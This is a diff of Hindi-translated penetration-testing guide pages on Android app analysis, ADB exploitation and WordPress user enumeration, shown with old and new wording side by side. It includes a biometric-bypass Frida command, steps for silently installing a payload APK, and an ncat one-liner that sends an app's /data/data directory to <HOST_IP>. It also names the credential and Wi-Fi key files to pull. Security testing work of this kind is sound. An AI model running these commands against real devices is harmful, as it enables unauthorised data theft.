- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करते समय [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित तरीके से प्रयास करें (उपकरण [linjector](https://github.com/erfur/linjector-rs))
- एंटी-डिबगिंग / एंटी-फ्रिडा तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
### **Dump Memory - Fridump**
### **मेमोरी डंप - Fridump**
जांचें कि क्या एप्लिकेशन संवेदनशील जानकारी को मेमोरी में संग्रहीत कर रहा है जिसे इसे संग्रहीत नहीं करना चाहिए जैसे पासवर्ड या म्नेमोनिक्स।
[**Fridump3**](https://github.com/rootbsd/fridump3) का उपयोग करके आप ऐप की मेमोरी को डंप कर सकते हैं:
[**Fridump3**](https://github.com/rootbsd/fridump3) का उपयोग करके आप एप्लिकेशन की मेमोरी को डंप कर सकते हैं:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -477,31 +477,31 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है:
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की **सुरक्षा** के लिए किया जा रहा है:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **पृष्ठभूमि छवियाँ**
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ।
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई भी व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने**ा एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
Android एक तरीका प्रदान करता है **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने**े लिए। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
यह उपकरण आपको गतिशील विश्लेषण के दौरान विभिन्न उपकरणों का प्रबंधन करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
यह उपकरण आपको डायनामिक विश्लेषण के दौरान विभिन्न उपकरणों का प्रबंधन करने में मदद कर सकता है: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और प्रसारण रिसीवर बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है।
डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और ब्रॉडकास्ट रिसीवर्स बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है।
खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जा रही है, इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में परिवर्तित करता है `Intent.parseUri(...)` के माध्यम से और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है।
खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जा रही है, इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है।
### Essential Takeaways
@ -514,7 +514,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
संभवतः आप वेब से इस प्रकार की कमजोरियों के बारे में जानते हैं। आपको Android एप्लिकेशन में इन कमजोरियों के प्रति विशेष रूप से सतर्क रहना चाहिए:
- **SQL Injection:** गतिशील प्रश्नों या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटरयुक्त प्रश्नों का उपयोग कर रहे हैं।
- **SQL Injection:** डायनामिक क्वेरीज़ या सामग्री-प्रदाताओं के साथ काम करते समय सुनिश्चित करें कि आप पैरामीटरयुक्त क्वेरीज़ का उपयोग कर रहे हैं।
- **JavaScript Injection (XSS):** सुनिश्चित करें कि किसी भी WebViews के लिए JavaScript और प्लगइन समर्थन बंद है (डिफ़ॉल्ट रूप से बंद)। [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews को फ़ाइल प्रणाली तक पहुँच बंद होनी चाहिए (डिफ़ॉल्ट रूप से सक्षम) - `(webview.getSettings().setAllowFileAccess(false);)`। [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: कई मामलों में जब Android एप्लिकेशन सत्र समाप्त करता है, तो कुकी को रद्द नहीं किया जाता है या इसे डिस्क पर भी सहेजा जा सकता है।
@ -530,7 +530,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**एप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
**एप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप डायनामिक विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)।
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -538,7 +538,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\
इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर में जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा।
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपन API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपन API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
### MobSF के साथ सहायक गतिशील विश्लेषण
@ -553,10 +553,10 @@ Android **संस्करण > 5** से, यह **स्वचालित
**Frida**
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **रूट डिटेक्शन** और **डीबगर डिटेक्शन** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों के लिए सभी आवाहनों, पास किए गए तर्कों और लौटाए गए मानों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
गतिशील परीक्षण **शुरू करने** के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। "**Frida Live Logs**" पर दबाएं ताकि Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख कें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
![](<../../images/image (419).png>)
@ -570,7 +570,7 @@ MobSF आपको अपनी **Frida स्क्रिप्ट** लोड
- **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें
- **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा को ट्रेस करें** (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है।
एक बार जब आप सहायक मॉड्यूल का चयन कर लेते हैं जिसे आप उपयोग करना चाहते हैं, तो आपको "**Start Instrumentation**" पर दबाना होगा और आप सभी आउटपुट "**Frida Live Logs**" में देखेंगे।
एक बार जब आप सहायक मॉड्यूल का चयन कर लेते हैं जिसे आप उपयोग करना चाहते हैं, तो आपको "**Start Intrumentation**" पर दबाना होगा और आप सभी आउटपुट "**Frida Live Logs**" में देखेंगे।
**Shell**
@ -588,7 +588,7 @@ receivers
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर दबा सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके।
एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके।
> [!TIP]
> MobSF के साथ डायनामिक विश्लेषण करने के बाद, प्रॉक्सी सेटिंग्स गलत हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप निम्नलिखित करके प्रॉक्सी सेटिंग्स को ठीक कर सकते हैं:
@ -604,13 +604,13 @@ receivers
### [Yaazhini](https://www.vegabird.com/yaazhini/)
यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है**
यह एक **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार टूल है**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **सक्षम है**, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए एक "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -624,7 +624,7 @@ qark --java path/to/specific/java/file.java
- सामान्य कमजोरियों और व्यवहार के लिए AndroidManifest.xml का विश्लेषण करें
- सामान्य कमजोरियों और व्यवहार के लिए स्थैतिक स्रोत कोड विश्लेषण
- डिवाइस जानकारी
- और अधिक
- और भी बहुत कुछ
```bash
reverse-apk relative/path/to/APP.apk
```
@ -632,9 +632,9 @@ reverse-apk relative/path/to/APP.apk
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकते हैं।
सभी नियम एक `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकते हैं।
नवीनतम बाइनरी [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
```
super-analyzer {apk_file}
```
@ -664,7 +664,7 @@ androbugs.exe -f [APK file]
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन...
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -695,7 +695,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
[विकिपीडिया](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
ProGuard Android SDK का एक हिस्सा है और एप्लिकेशन को रिलीज़ मोड में बनाने पर चलता है।
ProGuard Android SDK का एक हिस्सा के रूप में वितरित किया जाता है और एप्लिकेशन को रिलीज़ मोड में बनाने पर चलता है।
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -704,14 +704,14 @@ APK को डिओबफस्केट करने के लिए चर
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
- एक संसाधन को InputStream के रूप में लोड करें;
- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक कक्षा को परिणाम दें;
- एक रिवर्सर से कुछ मिनटों का समय बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक क्लास को परिणाम दें;
- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
- DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें;
- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें।
### [DeGuard](http://apk-deguard.com)
**DeGuard Android ओबफस्केशन उपकरणों द्वारा किए गए ओबफस्केशन की प्रक्रिया को उलटता है। यह कोड निरीक्षण और पुस्तकालयों की भविष्यवाणी सहित कई सुरक्षा विश्लेषणों को सक्षम बनाता है।**
**DeGuard Android ओबफस्केशन उपकरणों द्वारा किए गए ओबफस्केशन की प्रक्रिया को उलट देता है। यह कोड निरीक्षण और पुस्तकालयों की भविष्यवाणी सहित कई सुरक्षा विश्लेषणों को सक्षम बनाता है।**
आप उनके प्लेटफॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं।
@ -721,7 +721,7 @@ APK को डिओबफस्केट करने के लिए चर
### [Simplify](https://github.com/CalebFenton/simplify)
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
### [APKiD](https://github.com/rednaga/APKiD)

View File

@ -27,7 +27,7 @@ whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
- यदि डिवाइस ADB प्रमाणीकरण लागू करता है (ro.adb.secure=1), तो आपको पूर्व-प्रमाणित (USB RSA auth) होना पड़ेगा या Android 11+ वायरलेस डिबगिंग पेयरिंग का उपयोग करना पड़ेगा (जिसके लिए डिवाइस पर प्रदर्शित एक बार का कोड आवश्यक है)।
- कुछ विक्रेता छवियाँ, इंजीनियरिंग/यूजरडिबग बिल्ड, एमुलेटर्स, टीवी, STB और विकास किट बिना प्रमाणीकरण के या रूट के रूप में adbd को उजागर करते हैं। उन मामलों में, आप आमतौर पर सीधे एक शेल या रूट शेल में पहुचेंगे।
- कुछ विक्रेता इमेज, इंजीनियरिंग/यूजरडिबग बिल्ड, एमुलेटर्स, टीवी, STB और विकास किट बिना प्रमाणीकरण के या रूट के रूप में adbd चलाते हैं। उन मामलों में, आप आमतौर पर सीधे एक शेल या रूट शेल में पहुचेंगे।
सामान्य ADB कमांड संदर्भ के लिए, देखें:
@ -43,7 +43,7 @@ id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
### Enumerate and capture data
- तीसरे पक्ष के ऐप और पथों की सूची बनाएं:
- तीसरे पक्ष के ऐप्स और पथों की सूची बनाएं:
```bash
pm list packages -3
pm path <pkg>
@ -58,18 +58,18 @@ cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- उपयोगी सिस्टम आर्टिफैक्ट (रूट की आवश्यकता):
- उपयोगी सिस्टम कलाकृतियाँ (रूट की आवश्यकता):
- /data/system/users/0/accounts.db और संबंधित AccountManager डेटा
- /data/misc/wifi/ (पुराने संस्करणों पर नेटवर्क कॉन्फ़िग्स/की)
- /data/misc/wifi/ (पुराने संस्करणों पर नेटवर्क कॉन्फ़िगरेशन/कुंजी)
- ऐप-विशिष्ट SQLite DBs और shared_prefs /data/data/<pkg> के तहत
आप इसका उपयोग संवेदनशील जानकारी (जैसे, ऐप रहस्य) प्राप्त करने के लिए कर सकते हैं। Chrome डेटा विचारों के बारे में नोट्स के लिए, संदर्भित मुद्दे को देखें [यहा](https://github.com/carlospolop/hacktricks/issues/274).
आप इसका उपयोग संवेदनशील जानकारी (जैसे, ऐप रहस्य) प्राप्त करने के लिए कर सकते हैं। Chrome डेटा विचारों के बारे में नोट्स के लिए, संदर्भित मुद्दे को देखें [यहा](https://github.com/carlospolop/hacktricks/issues/274).
### Code execution and payload delivery
- इंस्टॉल करें और रनटाइम अनुमतियों को स्वचालित रूप से दें:
- इंस्टॉल करें और रनटाइम अनुमतियाँ स्वचालित रूप से दें:
```bash
adb install -r -g payload.apk # -g मैनिफेस्ट में घोषित सभी रनटाइम अनुमतियों को देता है
adb install -r -g payload.apk # -g मैनिफेस्ट में घोषित सभी रनटाइम अनुमतियाँ देता है
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- गतिविधियों/सेवाओं/प्रसारणों को सीधे शुरू करें:
@ -85,24 +85,24 @@ adb shell am broadcast -a <action>
- होस्ट->डिवाइस अग्रेषित करें (अपने होस्ट से डिवाइस-स्थानीय सेवा तक पहुंचें):
```bash
adb forward tcp:2222 tcp:22 # यदि डिवाइस SSH चलाा है (जैसे, Termux/Dropbear)
adb forward tcp:2222 tcp:22 # यदि डिवाइस SSH चला रहा है (जैसे, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # ऐप के स्थानीय डिबग सर्वर को उजागर करें
```
- रिवर्स डिवाइस->होस्ट (डिवाइस को आपके होस्ट पर एक सेवा तक पहुचने दें):
- रिवर्स डिवाइस->होस्ट (डिवाइस को आपके होस्ट पर एक सेवा तक पहुचने दें):
```bash
adb reverse tcp:1080 tcp:1080 # डिवाइस ऐप अब होस्ट:1080 को 127.0.0.1:1080 के रूप में पहुंच सकते हैं
adb reverse tcp:1080 tcp:1080 # डिवाइस ऐप अब host:1080 को 127.0.0.1:1080 के रूप में पहुंच सकते हैं
```
- सॉकेट के माध्यम से फ़ाइल निकासी (कोई sdcard लेखन नहीं):
```bash
# होस्ट पर: सुनें
ncat -lvp 9000 > dump.tar
# डिवाइस पर: निर्देशिका को tar के रूप में भेजें (रूट या लागू होने पर run-as)
# डिवाइस पर: निर्देशिका को tar के रूप में भेजें (रूट या run-as के अनुसार)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Wireless Debugging (Android 11+)
आधुनिक Android डिवाइस-साइड पेयरिंग और mDNS खोज के साथ TLS-सुरक्षित वायरलेस डिबगिंग को लागू करता है:
आधुनिक Android डिवाइस-साइड पेयरिंग और mDNS खोज के साथ TLS-सुरक्षित वायरलेस डिबगिंग लागू करता है:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
@ -111,13 +111,13 @@ adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp
adb connect <device_ip>:<conn_port>
```
Notes
- पोर्ट गतिशील हैं; 5555 मान न मानें। mDNS सेवा नाम इस प्रकार हैं:
- पोर्ट गतिशील हैं; 5555 मान न मानें। mDNS सेवा नाम इस प्रकार दिखते हैं:
- _adb-tls-pairing._tcp (जोड़ना)
- _adb-tls-connect._tcp (जुड़ा हुआ कनेक्ट)
- _adb._tcp (विरासत/सादा)
- _adb._tcp (पारंपरिक/सादा)
- यदि mDNS फ़िल्टर किया गया है, तो कुछ बिल्ड पर क्लासिक USB-सहायता सक्षम करना अभी भी काम कर सकता है: `adb tcpip 5555` फिर `adb connect <ip>:5555` (रीबूट होने तक)।
आक्रामक निहितार्थ: यदि आप डिवाइस UI के साथ इंटरैक्ट कर सकते हैं (जैसे, भौतिक पहुंच या मोबाइल MDM गलत कॉन्फ़िगरेशन) वायरलेस डिबगिंग सक्षम करने और जोड़ने के कोड को देखने के लिए, तो आप बिना केबल के एक लंबे समय तक जुड़े ADB चैनल स्थापित कर सकते हैं। कुछ OEMs बिना जोड़ने के इंजीनियरिंग/डेव बिल्ड में TCP पर ADB को उजागर करते हैं—हमेशा जांचें।
आक्रामक निहितार्थ: यदि आप डिवाइस UI के साथ इंटरैक्ट कर सकते हैं (जैसे, भौतिक पहुंच या मोबाइल MDM गलत कॉन्फ़िगरेशन) वायरलेस डिबगिंग सक्षम करने और जोड़ने के कोड को देखने के लिए, तो आप बिना केबल के एक लंबे समय तक जुड़े ADB चैनल स्थापित कर सकते हैं। कुछ OEMs ADB को TCP पर इंजीनियरिंग/डेव छवियों में जोड़ने के बिना उजागर करते हैं—हमेशा जांचें।
## Hardening / Detection

View File

@ -24,7 +24,7 @@
- `/wp-login.php`
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है।
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती है
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
@ -91,11 +91,11 @@ curl -s -I -X GET http://blog.example.com/?author=1
```
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि आईडी **मान्य** है। यदि प्रतिक्रिया **400** है, तो आईडी **अमान्य** है।
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए यह भी प्रयास कर सकते हैं:
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए भी क्वेरी कर सकते हैं:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
